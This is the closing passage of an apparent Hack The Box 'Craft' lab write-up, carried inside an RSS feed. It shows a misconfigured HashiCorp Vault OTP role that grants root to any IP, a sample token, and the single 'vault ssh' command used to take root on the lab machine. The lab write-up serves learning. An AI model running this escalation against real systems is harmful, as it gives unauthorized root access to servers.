&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	user@example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There are three way to authenticate &amp;ldquo;one time password&amp;rdquo; and two &amp;ldquo;certificate authority&amp;rdquo; modes. Looking at the token I found it looks more like an OTP authentication.&lt;/p&gt;
&lt;p&gt;I reviewed the source code and found these parts interesting:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vault write ssh/roles/root_otp \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; key_type=otp \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; default_user=root \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cidr_list=0.0.0.0/0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Token: f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;storage &amp;#34;file&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	path = &amp;#34;/vault/data&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ui = false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;listener &amp;#34;tcp&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	address = &amp;#34;0.0.0.0:8200&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	tls_cert_file = &amp;#34;/vault/pki/vault.craft.htb.crt&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	tls_key_file = &amp;#34;/vault/pki/vault.craft.htb.key&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	tls_min_version = &amp;#34;tls12&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The first command is the most important one - it creates a role &lt;code&gt;root_otp&lt;/code&gt; which can request to get OTPs for root and those request can come from any IP. This represents a lazy admin setup and because of this can get a root access simply by requesting it.
The token is an OTP that was used by the user, it showed me what it looks like.
The last script shows that the vault is located at &lt;code&gt;/vault/data&lt;/code&gt; and that it is listening on all interfaces with HTTPS on the 8200 port.&lt;/p&gt;
&lt;p&gt;To get the root, I simply ran &lt;code&gt;vault ssh -mode=otp -role=root_otp root@10.129.22.88&lt;/code&gt;.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;This box was challenging to me, one of the most confusing I worked on. I had little experience until now with working with APIs and creating injections is something I need to practice more. I liked that I challenged myself to write my first working exploit for this box and it helped me to learn and refresh my Python knowledge. Simulation of reading up on a git repo and a really hands on code review was a great learning experience. I never worked with HashiCorp Vault before so this was also interesting - a lot of pivoting as well.&lt;/p&gt;
&lt;p&gt;For code review and injections I think is important to try to really concentrate, go down the rabbit hole and really try to understand the logic of the mechanism. Sounds trivial I know, but I feel I could save a lot of time by starting with such hard mindset from the beginning.&lt;/p&gt;
&lt;p&gt;PS: I still didn&amp;rsquo;t figure out what was port 6022 used for, so like ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/craft/featured.png"/></item></channel></rss>